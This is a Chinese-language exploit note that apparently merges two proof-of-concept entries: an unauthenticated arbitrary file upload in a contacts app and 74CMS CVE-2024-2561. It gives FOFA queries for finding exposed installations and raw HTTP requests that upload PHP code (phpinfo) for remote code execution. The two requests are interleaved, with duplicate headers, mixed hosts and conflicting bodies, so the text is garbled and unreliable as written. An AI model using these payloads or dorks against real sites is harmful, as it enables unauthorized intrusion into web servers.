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华夏通讯录存在前台upload任意文件上传
# 74CMS存在任意文件上传漏洞(CVE-2024-2561)
华夏通讯录存在前台由于在鉴权方面存在疏漏，导致了可未授权访问，从而通过/admin/common/upload接口进行任意文件上传。
74CMS存在任意文件上传漏洞(CVE-2024-2561)，漏洞地址存在与sendCompanyLogo文件中/controller/company/Index.php#sendCompanyLogo的组件Company Logo Handler。经修改后的参数:imgBase64恶意代码输入可导致rce。
fofa
```
icon_hash="1403225079" && ":) APPV1"
## fofa
```javascript
app="骑士-74CMS"
```
poc
```
POST /admin/common/upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
## poc
```javascript
POST /v1_0/company/index/sendCompanyLogo HTTP/1.1
Host: localhost:7888
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIGQdzBsWlq43t3JA
Cookie: PHPSESSID=719psss6jnv9112q6spakfmt32; md5=201920; visitor_source=http%3A%2F%2F127.0.0.1%3A81%2Findex
Host: 127.0.0.1:81
Origin: http://127.0.0.1:81
Referer: http://127.0.0.1:81/admin/common/upload
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
user-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: qscms_visitor=%7B%22utype%22%3A1%2C%22mobile%22%3A%2215212345678%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MDk4MTY4MDcsImV4cCI6MTc0MTAyODgwNywiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoxLCJtb2JpbGUiOiIxNTIxMjM0NTY3OCJ9fQ.8MYJ6e8qOGCR6s3pTIlFLsWFgAhC4f-F8XH_VNaC5BQ%22%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--
imgBase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
```
![image-20250206164242391](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202502061642460.png)
## 漏洞来源
- https://gist.github.com/Southseast/9f5284d8ee0f6d91e72eef73b285512a